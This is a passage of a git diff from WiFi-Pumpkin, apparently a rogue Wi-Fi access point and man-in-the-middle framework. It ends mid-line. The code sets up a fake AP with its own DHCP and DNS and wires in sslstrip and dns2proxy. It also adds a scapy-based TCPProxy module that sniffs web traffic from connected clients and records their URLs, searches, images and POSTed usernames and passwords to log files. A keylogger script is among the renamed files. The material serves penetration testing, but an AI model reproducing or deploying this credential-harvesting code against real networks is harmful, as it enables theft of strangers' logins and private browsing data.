self.dockAreaList.keys(): - self.dockAreaList[dock].clear() - self.dockAreaList[dock].stopProcess() self.PumpSettingsTAB.GroupArea.setEnabled(True) # stop all Thread in create for Access Point try: @@ -993,10 +1039,12 @@ def Stop_PumpAP(self): # remove iptables commands and stop dhcpd if pesist in process for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) + #disabled options # check if persistent option in Settigs is enable - if not self.FSettings.Settings.get_setting('accesspoint','persistNetwokManager',format=bool): - Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True) - set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() + #if not self.FSettings.Settings.get_setting('accesspoint','persistNetwokManager',format=bool): + # Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=True) + + set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable() self.Started(False) self.progress.setValue(1) self.progress.change_color('') @@ -1024,7 +1072,6 @@ def Stop_PumpAP(self): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) self.EditApName.setEnabled(True) - self.EditGateway.setEnabled(True) self.selectCard.setEnabled(True) self.EditChannel.setEnabled(True) self.GroupApPassphrase.setEnabled(True) @@ -1032,30 +1079,33 @@ def Stop_PumpAP(self): self.PopUpPlugins.tableplugins.setEnabled(True) self.PopUpPlugins.tableplugincheckbox.setEnabled(True) self.btn_cancelar.setEnabled(False) + self.progress.showProcessBar() def delete_logger(self): ''' delete all logger file in logs/ ''' content = Refactor.exportHtml() - if listdir('logs')!= '': - resp = QMessageBox.question(self, 'About Delete Logger', - 'do you want to delete logs?',QMessageBox.Yes | - QMessageBox.No, QMessageBox.No) - if resp == QMessageBox.Yes: - Popen(['rm','logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE) - for keyFile in content['Files']: - with open(keyFile,'w') as f: - f.write(''),f.close() - self.FSettings.Settings.set_setting('accesspoint','sessions',dumps({})) - QMessageBox.information(self,'Logger','All Looger::Output has been Removed...') + resp = QMessageBox.question(self, 'About Delete Logger', + 'do you want to delete logs?',QMessageBox.Yes | + QMessageBox.No, QMessageBox.No) + if resp == QMessageBox.Yes: + Popen(['rm','logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE) + if len(listdir('logs/ImagesCap')) != 1: + Popen(['rm', 'logs/ImagesCap/*.png'], stdout=PIPE, shell=False, stderr=PIPE) + Popen(['rm', 'logs/ImagesCap/*.jpg'], stdout=PIPE, shell=False, stderr=PIPE) + for keyFile in content['Files']: + with open(keyFile,'w') as f: + f.write(''),f.close() + self.FSettings.Settings.set_setting('accesspoint','sessions',dumps({})) + QMessageBox.information(self,'Logger','All Looger::Output has been Removed...') def start_dift(self): ''' start tool driftnet in Thread ''' - if self.ConfigTwin['ProgCheck'][2]: - if self.ConfigTwin['ProgCheck'][6]: + if self.SettingsEnable['ProgCheck'][2]: + if self.SettingsEnable['ProgCheck'][6]: if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): Thread_driftnet = ThreadPopen(['driftnet', '-i', - self.ConfigTwin['AP_iface'],'-d','./logs/Tools/Driftnet/',]) + self.SettingsEnable['AP_iface'],'-d','./logs/Tools/Driftnet/',]) Thread_driftnet.setObjectName('Tool::Driftnet') self.Apthreads['RougeAP'].append(Thread_driftnet) return Thread_driftnet.start() @@ -1066,16 +1116,14 @@ def start_dift(self): def CoreSettings(self): ''' configure interface and dhcpd for mount Access Point ''' - self.splitcodeURL = self.AreaDockInfo['HTTP-Requests']['splitcode'] - self.splitcodeCRED = self.AreaDockInfo['HTTP-Authentication']['splitcode'] self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() - self.ConfigTwin['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') + self.SettingsEnable['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') self.SettingsAP = { 'interface': [ - 'ifconfig %s up'%(self.ConfigTwin['AP_iface']), - 'ifconfig %s %s netmask %s'%(self.ConfigTwin['AP_iface'],self.DHCP['router'],self.DHCP['netmask']), - 'ifconfig %s mtu 1400'%(self.ConfigTwin['AP_iface']), + 'ifconfig %s up'%(self.SettingsEnable['AP_iface']), + 'ifconfig %s %s netmask %s'%(self.SettingsEnable['AP_iface'],self.DHCP['router'],self.DHCP['netmask']), + 'ifconfig %s mtu 1400'%(self.SettingsEnable['AP_iface']), 'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'], self.DHCP['netmask'],self.DHCP['router']) ], @@ -1085,7 +1133,7 @@ def CoreSettings(self): 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', - 'ifconfig %s 0'%(self.ConfigTwin['AP_iface']), + 'ifconfig %s 0'%(self.SettingsEnable['AP_iface']), 'killall dhpcd', ], 'hostapd': @@ -1110,7 +1158,7 @@ def CoreSettings(self): ], 'dnsmasq': [ - 'interface=%s\n'%(self.ConfigTwin['AP_iface']), + 'interface=%s\n'%(self.SettingsEnable['AP_iface']), 'dhcp-range=10.0.0.1,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', @@ -1141,7 +1189,7 @@ def SoftDependencies(self): if not path.isfile(self.hostapd_path): return QMessageBox.information(self,'Error Hostapd','hostapd is not installed') if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool): - if not self.ConfigTwin['ProgCheck'][3]: + if not self.SettingsEnable['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcpd','isc-dhcp-server (dhcpd) is not installed') return True @@ -1198,10 +1246,6 @@ def Start_PumpAP(self): # check connection with internet self.interfacesLink = Refactor.get_interfaces() - if len(self.EditGateway.text()) == 0 or self.interfacesLink['activated'][0] == None: - return QMessageBox.warning(self,'Internet Connection','No internet connection not found, ' - 'sorry WiFi-Pumpkin tool requires an internet connection to mount MITM attack. ' - 'check your connection and try again') # check if Wireless interface is being used if str(self.selectCard.currentText()) == self.interfacesLink['activated'][0]: @@ -1214,15 +1258,6 @@ def Start_PumpAP(self): ' for create AP or try use with local connetion(Ethernet).'.format( str(self.selectCard.currentText()),line)) - # check if kali linux is using wireless interface for share internet - if self.interfacesLink['activated'][1] == 'wireless' and dist()[0] == 'Kali': - return QMessageBox.information(self,'Network Information', - "The Kali Linux don't have support to use with 2 wireless" - "(1 for connected internet/2 for WiFi-Pumpkin AP)." - " because does not exclude correctly " - "adapter in '/etc/NetworkManager/NetworkManager.conf'.\n\n" - "( if you have any solution for this send me feedback ).") - # check if range ip class is same dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text()) if dh[:len(dh)-len(dh.split('.').pop())] == gateway[:len(gateway)-len(gateway.split('.').pop())]: @@ -1249,11 +1284,21 @@ def Start_PumpAP(self): self.SessionsAP[self.currentSessionID]['started'] = asctime() print('[*] Current Session::ID [{}]'.format(self.currentSessionID)) + # clear before session + if hasattr(self,'dockAreaList'): + for dock in self.dockAreaList.keys(): + self.dockAreaList[dock].clear() + self.dockAreaList[dock].stopProcess() + self.PumpkinProxyTAB.tableLogging.clearContents() + self.ImageCapTAB.TableImage.clear() + self.ImageCapTAB.TableImage.setRowCount(0) + # check if using ethernet or wireless connection print('[*] Configuring hostapd...') - self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) - set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() - if self.interfacesLink['activated'][1] == 'ethernet' or self.interfacesLink['activated'][1] == 'ppp': + self.SettingsEnable['AP_iface'] = str(self.selectCard.currentText()) + set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable() + if self.interfacesLink['activated'][1] == 'ethernet' or self.interfacesLink['activated'][1] == 'ppp' \ + or self.interfacesLink['activated'][0] == None: #allow use without internet connection # change Wi-Fi state card Refactor.kill_procInterfaceBusy() # killing network process try: @@ -1265,11 +1310,12 @@ def Start_PumpAP(self): return QMessageBox.warning(self,'Error nmcli',str(error)) finally: call(['rfkill', 'unblock' ,'wifi']) - elif self.interfacesLink['activated'][1] == 'wireless': - # exclude USB wireless adapter in file NetworkManager - if not Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=False): - return QMessageBox.warning(self,'Network Manager', - 'Not found file NetworkManager.conf in folder /etc/NetworkManager/') + + #elif self.interfacesLink['activated'][1] == 'wireless': + # # exclude USB wireless adapter in file NetworkManager + # if not Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=False): + # return QMessageBox.warning(self,'Network Manager', + # 'Not found file NetworkManager.conf in folder /etc/NetworkManager/') # create dhcpd.leases and set permission for acesss DHCPD leases = '/var/lib/dhcp/dhcpd.leases' @@ -1304,7 +1350,6 @@ def Start_PumpAP(self): # disable options when started AP self.btn_start_attack.setDisabled(True) self.EditApName.setEnabled(False) - self.EditGateway.setEnabled(False) self.selectCard.setEnabled(False) self.EditChannel.setEnabled(False) self.GroupApPassphrase.setEnabled(False) @@ -1317,26 +1362,28 @@ def Start_PumpAP(self): print('[*] Configuring dhcpd...') if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool): self.Thread_dhcp = ThRunDhcp(['dhcpd','-d','-f','-lf','/var/lib/dhcp/dhcpd.leases','-cf', - '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']],self.currentSessionID) + '/etc/dhcp/dhcpd.conf',self.SettingsEnable['AP_iface']],self.currentSessionID) self.Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) self.Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(self.Thread_dhcp) self.PopUpPlugins.checkGeneralOptions() # check rules iptables elif self.FSettings.Settings.get_setting('accesspoint','pydhcp_server',format=bool): - #self.ThreadDNSServer = DNSServer(self.ConfigTwin['AP_iface'],self.DHCP['router']) - #self.ThreadDNSServer.setObjectName('DNSServer') - # I change DNSServer for dns2proxy for now. - self.ThreadDNSServer = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i', - str(self.selectCard.currentText()),'-k',self.currentSessionID]}) - self.ThreadDNSServer._ProcssOutput.connect(self.get_dns2proxy_output) - self.ThreadDNSServer.setObjectName('DNSServer') + if self.FSettings.Settings.get_setting('accesspoint','pydns_server',format=bool): + self.ThreadDNSServer = DNSServer(self.SettingsEnable['AP_iface'],self.DHCP['router']) + self.ThreadDNSServer.setObjectName('DNSServer') # use DNS python implements + + elif self.FSettings.Settings.get_setting('accesspoint','dnsproxy_server',format=bool): + self.ThreadDNSServer = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i', + str(self.selectCard.currentText()),'-k',self.currentSessionID]}) + self.ThreadDNSServer._ProcssOutput.connect(self.get_dns2proxy_output) + self.ThreadDNSServer.setObjectName('DNSServer') # use dns2proxy as DNS server if not self.PopUpPlugins.check_dns2proy.isChecked(): self.Apthreads['RougeAP'].append(self.ThreadDNSServer) #self.PopUpPlugins.set_Dns2proxyRule() # disabled :: redirect UDP port 53 - self.ThreadDHCPserver = DHCPServer(self.ConfigTwin['AP_iface'],self.DHCP) + self.ThreadDHCPserver = DHCPServer(self.SettingsEnable['AP_iface'],self.DHCP) self.ThreadDHCPserver.sendConnetedClient.connect(self.GetDHCPDiscoverInfo) self.ThreadDHCPserver.setObjectName('DHCPServer') self.Apthreads['RougeAP'].append(self.ThreadDHCPserver) @@ -1358,12 +1405,16 @@ def Start_PumpAP(self): if not self.THReactor.isRunning(): self.THReactor.start() - if self.PopUpPlugins.check_netcreds.isChecked(): - self.Thread_netcreds = ProcessThread({'python':['plugins/external/net-creds/net-creds.py','-i', - str(self.selectCard.currentText()),'-k',self.currentSessionID]}) - self.Thread_netcreds._ProcssOutput.connect(self.get_netcreds_output) - self.Thread_netcreds.setObjectName('Net-Creds') - self.Apthreads['RougeAP'].append(self.Thread_netcreds) + #create logging for somes threads + setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log', self.currentSessionID) + setup_logger('urls_capture', 'logs/AccessPoint/urls.log', self.currentSessionID) + setup_logger('creds_capture', 'logs/AccessPoint/credentials.log', self.currentSessionID) + setup_logger('tcp_proxy', 'logs/AccessPoint/tcp-proxy.log', self.currentSessionID) + self.LogPumpkinproxy = getLogger('pumpkinproxy') + self.LogUrlMonitor = getLogger('urls_capture') + self.LogCredsMonitor = getLogger('creds_capture') + self.LogTcpproxy = getLogger('tcp_proxy') + if self.PopUpPlugins.check_responder.isChecked(): # create thread for plugin responder @@ -1384,14 +1435,14 @@ def Start_PumpAP(self): self.Apthreads['RougeAP'].append(self.Thread_dns2proxy) # create thread for plugin SSLstrip - self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'], + self.Threadsslstrip = Thread_sslstrip(self.SettingsEnable['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) self.Threadsslstrip.setObjectName("sslstrip2") self.Apthreads['RougeAP'].append(self.Threadsslstrip) elif self.PopUpPlugins.check_sergioProxy.isChecked(): # create thread for plugin Sergio-proxy - self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], + self.Threadsslstrip = Thread_sergioProxy(self.SettingsEnable['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) @@ -1406,33 +1457,40 @@ def Start_PumpAP(self): elif self.PopUpPlugins.check_pumpkinProxy.isChecked(): # create thread for plugin Pumpkin-Proxy - setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log',self.currentSessionID) self.Thread_PumpkinProxy = ThreadPumpkinProxy(self.currentSessionID) self.Thread_PumpkinProxy.send.connect(self.get_PumpkinProxy_output) self.Thread_PumpkinProxy.setObjectName('Pumpkin-Proxy') self.Apthreads['RougeAP'].append(self.Thread_PumpkinProxy) - self.LogPumpkinproxy = getLogger('pumpkinproxy') + # start thread TCPproxy Module + if self.PopUpPlugins.check_tcpproxy.isChecked(): + self.Thread_TCPproxy = ThreadSniffingPackets(str(self.selectCard.currentText()),self.currentSessionID) + self.Thread_TCPproxy.setObjectName('TCPProxy') + self.Thread_TCPproxy.output_plugins.connect(self.get_TCPproxy_output) + self.Apthreads['RougeAP'].append(self.Thread_TCPproxy) + + if self.InternetShareWiFi: + print('[*] Sharing Internet Connections with NAT...') iptables = [] # get all rules in settings->iptables for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rulesetfilter in iptables: - if '$inet' in rulesetfilter: - rulesetfilter = rulesetfilter.replace('$inet',str(Refactor.get_interfaces()['activated'][0])) - if '$wlan' in rulesetfilter: - rulesetfilter = rulesetfilter.replace('$wlan',self.ConfigTwin['AP_iface']) - popen(rulesetfilter) - print('[*] Sharing Internet Connections with NAT...') + if self.InternetShareWiFi: # disable share internet from network + if '$inet' in rulesetfilter: + rulesetfilter = rulesetfilter.replace('$inet',str(Refactor.get_interfaces()['activated'][0])) + if '$wlan' in rulesetfilter: + rulesetfilter = rulesetfilter.replace('$wlan',self.SettingsEnable['AP_iface']) + if not ('$inet' in rulesetfilter or 'wlan' in rulesetfilter): + popen(rulesetfilter) # start all Thread in sessions - self.progress.change_color('#FFA500') for thread in self.Apthreads['RougeAP']: self.progress.update_bar_simple(20) QThread.sleep(1) thread.start() self.progress.setValue(100) - self.progress.change_color('#FFA500') + self.progress.hideProcessbar() # check if Advanced mode is enable if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): self.PumpSettingsTAB.doCheckAdvanced() @@ -1444,15 +1502,6 @@ def Start_PumpAP(self): self.FSettings.Settings.set_setting('accesspoint','ssid',str(self.EditApName.text())) self.FSettings.Settings.set_setting('accesspoint','channel',str(self.EditChannel.value())) - def get_netcreds_output(self,data): - ''' get std_ouput the thread Netcreds and add in DockArea ''' - if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): - if hasattr(self,'dockAreaList'): - if self.PumpSettingsTAB.dockInfo['HTTP-Requests']['active'] and self.splitcodeURL in data: - self.dockAreaList['HTTP-Requests'].writeModeData(str(data).split(self.splitcodeURL)[1]) - if self.PumpSettingsTAB.dockInfo['HTTP-Authentication']['active'] and self.splitcodeCRED in data: - self.dockAreaList['HTTP-Authentication'].writeModeData(data) - def get_dns2proxy_output(self,data): ''' get std_ouput the thread dns2proxy and add in DockArea ''' if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): @@ -1491,10 +1540,30 @@ def get_bdfproxy_output(self,data): def get_PumpkinProxy_output(self,data): ''' get std_ouput the thread Pumpkin-Proxy and add in DockArea ''' if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + self.PumpkinProxyTAB.tableLogging.writeModeData(data) + self.LogPumpkinproxy.info(data) + + def get_TCPproxy_output(self,data): + ''' get std_output from thread TCPproxy module and add in DockArea''' + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): if hasattr(self,'dockAreaList'): - if self.PumpSettingsTAB.dockInfo['PumpkinProxy']['active']: - self.dockAreaList['PumpkinProxy'].writeModeData(data) - self.LogPumpkinproxy.info(data) + if data.keys()[0] == 'urlsCap': + if self.PumpSettingsTAB.dockInfo['HTTP-Requests']['active']: + self.dockAreaList['HTTP-Requests'].writeModeData(data) + self.LogUrlMonitor.info('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( + data['urlsCap']['IP'], data['urlsCap']['Headers'])) + elif data.keys()[0] == 'POSTCreds': + if self.PumpSettingsTAB.dockInfo['HTTP-Authentication']['active']: + self.dockAreaList['HTTP-Authentication'].writeModeData(data) + self.LogCredsMonitor.info('URL: {}'.format(data['POSTCreds']['Url'])) + self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['User'])) + self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['Pass'])) + self.LogCredsMonitor.info('Packets: {}'.format(data['POSTCreds']['Destination'])) + elif data.keys()[0] == 'image': + self.ImageCapTAB.SendImageTableWidgets(data['image']) + else: + self.PacketSnifferTAB.tableLogging.writeModeData(data) + self.LogTcpproxy.info('[{}] {}'.format(data.keys()[0],data[data.keys()[0]])) def create_sys_tray(self): ''' configure system tray icon for quick access ''' diff --git a/core/packets/dhcpserver.py b/core/packets/dhcpserver.py index 3937dd7..94e0f6c 100644 --- a/core/packets/dhcpserver.py +++ b/core/packets/dhcpserver.py @@ -5,16 +5,27 @@ from collections import defaultdict from PyQt4.QtCore import QThread,pyqtSignal import dns.message +from dns import resolver class OutOfLeasesError(Exception): pass -# Original from http://code.activestate.com/recipes/491264/ (r4) + class DNSQuery: def __init__(self, data): self.data = data self.dominio = '' + self.RECORD_TYPES = { + '\x00\x01': 'A', + '\x00\x05': 'CNAME', + '\x00\x0f': 'MX', + '\x00\x02': 'NS', + '\x00\x10': 'TXT', + '\x00\x1c': 'AAAA', + '\x00\xff': 'ANY', + } + # Copy Opcode to variable 'tipo'. tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: # Opcode 0 mean a standard query(QUERY) @@ -28,14 +39,74 @@ def __init__(self, data): def respuesta(self, ip): packet = '' if self.dominio: - packet += self.data[:2] + "\x81\x80" # Response & No error. - packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts. - packet += self.data[12:] # Original Domain Name Question. - packet += '\xc0\x0c' # A domain name to which this resource record pertains. - packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # type, class, ttl, data-length + packet += self.data[:2] + "\x81\x80" # Response & No error. + packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts. + packet += self.data[12:] # Original Domain Name Question. + packet += '\xc0\x0c' # A domain name to which this resource record pertains. + packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # type, class, ttl, data-length packet += str.join('', map(lambda x: chr(int(x)), ip.split('.'))) return packet + def render_packet(self,ip): + packet = '' + if self.dominio: + d = self.data + packet += d[:2] # Transaction ID + flags = '' + flags += '1' # 1=response, 0=query + flags += '0000' # opcode, 0=standard query, 1=inverse query, 2=server status request + flags += '1' # Authoritative Answer + flags += '0' # Trancated response + flags += '0' # Recursion Desired + flags += '0' # Recursion Available + flags += '000' # reserved, have to be 0 + flags += '0000' # RCode, 0=no error + packet += self.bin_to_hex(flags) + packet += d[4:6] # Number of Questions + packet += d[4:6] # Number of Answer RRs + packet += '\x00\x00' # Number of Authority RRs + packet += '\x00\x00' # Number of Additional RRs + packet += d[12:] # Original Domain Name Question + packet += '\xc0\x0c' # NAME (domain) + packet += self._get_raw_type() # TYPE + packet += '\x00\x01' # CLASS (Internet) + packet += self._get_ttl_bytes() # TTL time to live + packet += self.int_to_hex(4, zfill=2) # RDLENGTH + packet += str.join('', map(lambda x: chr(int(x)), ip.split('.'))) # RDATA + return packet + + def make_response(self,data,RCODE=None): + qry= dns.message.from_wire(data) + resp = dns.message.make_response(qry) + resp.flags |= dns.flags.AA + resp.flags |= dns.flags.RA + resp.set_rcode(RCODE) + return resp.to_wire() + + def _get_domainReal(self): + return self.dominio[:-1] + + def _get_dnsType(self): + return self.RECORD_TYPES.get(self._get_raw_type(), 'Unknown') + + def _get_raw_type(self): + return self.data[-4:-2] + + def _get_ttl_bytes(self): + return self.int_to_hex(300, zfill=4) + + def int_to_hex(self,value, zfill=None): + h = hex(value) # 300 -> '0x12c' + h = h[2:].zfill((zfill or 0) * 2) # '0x12c' -> '00012c' if zfill=3 + return h.decode('hex') + + def bin_to_hex(self,value): + # http://stackoverflow.com/questions/2072351/python-conversion-from-binary-string-to-hexadecimal/2072384#2072384 + # '0000 0100 1000 1101' -> '\x04\x8d' + value = value.replace(' ', '') + h = '%0*X' % ((len(value) + 3) // 4, int(value, 2)) + return h.decode('hex') + class DNSServer(QThread): ''' Simple DNS server UDP resolver ''' sendRequests = pyqtSignal(object) #I'll use this object in future feature @@ -44,8 +115,13 @@ def __init__(self, iface, gateway,blockResolverDNS=False): self.iface = iface self.DnsLoop = True self.GatewayAddr = gateway - self.DataRequest = {'Request':None,'Queries': None} #I'll use this object in future feature + self.data_request = {'logger':None,'type':None, + 'query': None} #I'll use this object in future feature self.blockResolverDNS = blockResolverDNS + self.Resolver = resolver.Resolver() + self.Resolver.nameservers = ['8.8.8.8'] + self.Resolver.timeout = 1 + self.Resolver.lifetime = 1 def run(self): self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) @@ -70,15 +146,26 @@ def run(self): #RCODE except Exception as e: query = repr(e) # error when resolver DNS - self.DataRequest['Queries'] = query - self.DataRequest['Request']='Request %s: -> %s ' % (addr[0],packet.dominio) + self.data_request['query'] = query # get query resquest from client + self.data_request['type'] = packet._get_dnsType() # get type query + self.data_request['logger']='Client [{}]: -> [{}]'.format(addr[0], packet.dominio) if not self.blockResolverDNS: try: - self.RemoteIP = socket.gethostbyname(packet.dominio[:len(packet.dominio)-1]) #get ip website - self.dns_sock.sendto(packet.respuesta(self.RemoteIP), addr) - continue - except Exception: pass - self.dns_sock.sendto(packet.respuesta(self.GatewayAddr), addr) + answers = self.Resolver.query(packet._get_domainReal()) # try resolver domain + for rdata in answers: # get real Ipaddress + self.dns_sock.sendto(packet.render_packet(rdata.address), addr) #send resquest + except dns.resolver.NXDOMAIN: # error domain not found + # send domain not exist RCODE 3 + self.dns_sock.sendto(packet.make_response(data,3), addr) + except dns.resolver.Timeout: + # unable to respond query RCODE 2 + self.dns_sock.sendto(packet.make_response(data,2), addr) #timeout + except dns.exception.DNSException: + # server format ERROR unable to responde #RCODE 1 + self.dns_sock.sendto(packet.make_response(data,1), addr) + continue + # I'll use this in future for implements new feature + self.dns_sock.sendto(packet.respuesta(self.GatewayAddr), addr) # for next feature self.dns_sock.close() def stop(self): diff --git a/core/servers/proxy/http/__init__.py b/core/servers/proxy/http/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/servers/proxy/controller/__init__.py b/core/servers/proxy/http/controller/__init__.py similarity index 100% rename from core/servers/proxy/controller/__init__.py rename to core/servers/proxy/http/controller/__init__.py diff --git a/core/servers/proxy/controller/handler.py b/core/servers/proxy/http/controller/handler.py similarity index 92% rename from core/servers/proxy/controller/handler.py rename to core/servers/proxy/http/controller/handler.py index 5e3af2c..2408cf7 100644 --- a/core/servers/proxy/controller/handler.py +++ b/core/servers/proxy/http/controller/handler.py @@ -10,7 +10,7 @@ for Pumpkin-Proxy Core. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -66,19 +66,19 @@ def disablePlugin(self,name, status): pluginconf = p() if pluginconf.Name == name: pluginconf.send_output = self.sendMethod - print('plugin:{0:17} status:On'.format(name)) + print('PumpkinProxy::{0:17} status:On'.format(name)) self.plugins.append(pluginconf) else: for plugin in self.plugins: if plugin.Name == name: - print('plugin:{0:17} status:Off'.format(name)) + print('PumpkinProxy::{0:17} status:Off'.format(name)) self.plugins.remove(plugin) def initializePlugins(self): self.plugin_classes = plugin.PluginTemplate.__subclasses__() for p in self.plugin_classes: if self.config.get_setting('plugins',p().Name,format=bool): - print('plugins::{0:17} status:On'.format(p().Name)) + print('PumpkinProxy::{0:17} status:On'.format(p().Name)) self.plugins.append(p()) # initialize logging in all plugins enable #for instance in self.plugins: diff --git a/core/servers/proxy/scripts/msfkeylogger.js b/core/servers/proxy/http/scripts/msfkeylogger.js similarity index 100% rename from core/servers/proxy/scripts/msfkeylogger.js rename to core/servers/proxy/http/scripts/msfkeylogger.js diff --git a/core/servers/proxy/tcp/__init__.py b/core/servers/proxy/tcp/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/servers/proxy/tcp/intercept.py b/core/servers/proxy/tcp/intercept.py new file mode 100644 index 0000000..ac1a64b --- /dev/null +++ b/core/servers/proxy/tcp/intercept.py @@ -0,0 +1,154 @@ +from PyQt4.QtCore import QThread,pyqtSignal +from time import sleep,asctime,strftime +from BeautifulSoup import BeautifulSoup +import threading +from threading import Thread +import Queue +from scapy.all import * +import logging +from plugins.analyzers import * +from core.utility.collection import SettingsINI + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + for TCPProxy Core. + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class ThreadSniffingPackets(QThread): + output_plugins = pyqtSignal(object) + def __init__(self,interface,session): + QThread.__init__(self) + self.interface = interface + self.session = session + self.stopped = False + self.config = SettingsINI('core/config/app/tcpproxy.ini') + + def run(self): + self.main() + + def sniffer(self,q): + while not self.stopped: + try: + sniff(iface=self.interface, + filter="tcp and ( port 80 or port 443 or port 8080)", + prn =lambda x : q.put(x), store=0) + except Exception:pass + if self.stopped: + break + + def disablePlugin(self,name, status): + ''' disable plugin by name ''' + plugin_on = [] + if status: + for plugin in self.plugins: + plugin_on.append(self.plugins[plugin].Name) + if name not in plugin_on: + for p in self.plugin_classes: + pluginconf = p() + if pluginconf.Name == name: + self.plugins[name] = pluginconf + self.plugins[name].getInstance()._activated = True + print('TCPProxy::{0:17} status:On'.format(name)) + else: + print('TCPProxy::{0:17} status:Off'.format(name)) + self.plugins.pop(self.plugins[name].Name) + + def main(self): + self.plugins = {} + self.plugin_classes = default.PSniffer.__subclasses__() + for p in self.plugin_classes: + plugin_load = p() + self.plugins[plugin_load.Name] = plugin_load + self.plugins[plugin_load.Name].output = self.output_plugins + self.plugins[plugin_load.Name].session = self.session + print '\n[*] TCPProxy running on port 80/8080:\n' + for name in self.plugins.keys(): + if self.config.get_setting('plugins', name, format=bool): + self.plugins[name].getInstance()._activated = True + print('TCPProxy::{0:17} status:On'.format(name)) + print('\n') + q = Queue.Queue() + sniff = Thread(target =self.sniffer, args = (q,)) + sniff.start() + while (not self.stopped): + try: + pkt = q.get(timeout = 0) + for Active in self.plugins.keys(): + if self.plugins[Active].getInstance()._activated: + self.plugins[Active].filterPackets(pkt) + except Queue.Empty: + pass + + def snifferParser(self,pkt): + try: + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + self.dport = pkt[TCP].dport + self.sport = pkt[TCP].sport + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.src_ip_port = str(pkt[IP].src)+':'+str(self.sport) + self.dst_ip_port = str(pkt[IP].dst)+':'+str(self.dport) + + if pkt.haslayer(Raw): + self.load = pkt[Raw].load + if self.load.startswith('GET'): + self.get_http_GET(self.src_ip_port,self.dst_ip_port,self.load) + self.searchBingGET(self.load.split('\n', 1)[0].split('&')[0]) + elif self.load.startswith('POST'): + header,url = self.get_http_POST(self.load) + self.getCredentials_POST(pkt.getlayer(Raw).load,url,header,self.dport,self.sport) + except: + pass + + def searchBingGET(self,search): + if 'search?q' in search : + searched = search.split('search?q=',1)[1] + searched = searched.replace('+',' ') + print 'Search::BING { %s }'%(searched) + + def getCredentials_POST(self,payload,url,header,dport,sport): + user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \ + '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' + pw_regex = 